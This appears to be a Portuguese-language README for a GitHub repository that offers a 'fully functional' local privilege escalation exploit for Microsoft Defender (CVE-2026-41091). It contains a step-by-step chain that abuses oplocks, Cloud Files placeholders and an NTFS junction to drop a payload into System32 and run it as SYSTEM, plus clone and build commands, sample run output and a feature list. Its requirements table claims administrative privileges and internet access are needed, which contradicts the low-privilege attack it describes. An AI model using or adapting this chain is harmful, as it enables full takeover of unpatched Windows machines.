CVE-2026-41091 RedSun | Exploit de LPE do Microsoft Defender. Utilizadores de baixo privilégio obtêm NT AUTHORITY\SYSTEM 🔥 através da Cloud Files API + truques com NTFS junctions. Força o Defender a escrever payloads maliciosos em System32 com direitos de SYSTEM. ⚠️ Explorado ativamente na natureza. CVSS 7.8. Patch: Defender Engine 1.1.26040.8. 🛡️ Apenas PoC educacional.
Vulnerabilidade de Seguimento de Links do Microsoft Defender - Escalação de Privilégio Local para NT AUTHORITY\SYSTEM
Este repositório contém um exploit de Prova de Conceito (PoC) totalmente funcional para a CVE-2026-41091, uma vulnerabilidade crítica de escalação de privilégio local no Microsoft Defender (Microsoft Malware Protection Engine). Ao explorar a resolução inadequada de links (CWE-59), um atacante autenticado com privilégios baixos pode obter privilégios de NT AUTHORITY\SYSTEM.
A vulnerabilidade, também conhecida como "RedSun" ou "SolarFlare", permite que atacantes enganem o Microsoft Defender para que ele grave arquivos arbitrários em locais protegidos do sistema com privilégios de SYSTEM, usando a API Cloud Files (CfAPI) e pontos de junction do NTFS.
Nota: Este repositório inclui duas versões:
basic_poc.cpp- Demonstração simplificada do algoritmo (educacional)full_poc.cpp- Exploit completo e funcional com todos os recursos
| Produto | Versões Afetadas | Versões Corrigidas |
|---|---|---|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
┌─────────────────────────────────────────────────────────────────────────────┐
│ SOLARFLARE EXPLOIT CHAIN │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Create Working Directory │
│ └─> %TEMP%\SF-XXXX\ │
│ │
│ 2. Trigger Defender with EICAR │
│ └─> Write reversed EICAR to bait file │
│ │
│ 3. Wait for VSS Snapshot │
│ └─> Detect Volume Shadow Copy creation │
│ │
│ 4. Create First Batch Oplock │
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file │
│ │
│ 5. Wait for Oplock Break │
│ └─> Acquire exclusive access │
│ │
│ 6. Rename Directory │
│ └─> Move original directory to .tmp │
│ │
│ 7. Register Cloud Sync Root │
│ └─> CfRegisterSyncRoot with Cloud Files API │
│ │
│ 8. Create Cloud Placeholder │
│ └─> CfCreatePlaceholders for bait file │
│ │
│ 9. Create Second Batch Oplock │
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder │
│ │
│ 10. Wait for Second Oplock Break │
│ └─> Acquire exclusive access │
│ │
│ 11. Rename Cloud Directory │
│ └─> Move cloud directory to .cloud.tmp │
│ │
│ 12. Create NTFS Junction to System32 │
│ └─> Redirect to C:\Windows\System32 │
│ │
│ 13. Copy Payload to System32 │
│ └─> Copy bait file to System32 as TieringEngineService.exe │
│ │
│ 14. Activate Service as SYSTEM │
│ └─> CoCreateInstance(StorageTiersManagement) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
full_poc.exe
basic_poc.exe
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
Confira meus outros repositórios de exploits:
| Categoria | Recursos |
|---|
| Exploração | ✅ Escalação de privilégio local para SYSTEM ✅ Integração com a API Cloud Files (CfAPI) ✅ Criação de placeholder na nuvem ✅ Redirecionamento por junction NTFS |
| Técnicas | ✅ Abuso de oplocks em lote ✅ Detecção de snapshot VSS ✅ Gatilho EICAR ✅ Ativação de serviço COM |
| Alvo | ✅ Microsoft Defender < 1.1.26040.8 ✅ Windows 10/11 ✅ Windows Server 2019/2022 |
| Usabilidade | ✅ Registro de logs detalhado ✅ Tratamento de erros ✅ Nomes de diretório aleatórios ✅ Limpeza automática |
| Atributo | Valor |
|---|
| ID CVE | CVE-2026-41091 |
| Pontuação CVSS | 7.8 (Alta) |
| Vetor CVSS | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vetor de Ataque | Local |
| Privilégios Necessários | Baixos |
| Interação do Usuário | Nenhuma |
| Impacto | Execução de código em nível de SYSTEM |
| CISA KEV | ✅ Sim (explorada ativamente na natureza) |
| Patch Disponível | Microsoft Malware Protection Engine 1.1.26040.8 |
| Requisito | Detalhes |
|---|
| SO | Windows 10/11, Server 2019/2022 |
| Privilégios | Administrativos (para execução) |
| Defender | O Microsoft Defender deve estar habilitado |
| Internet | Necessária para a detecção de snapshot VSS |
| Patch | Funciona apenas em sistemas sem patch |
| Arquitetura | Somente x64 |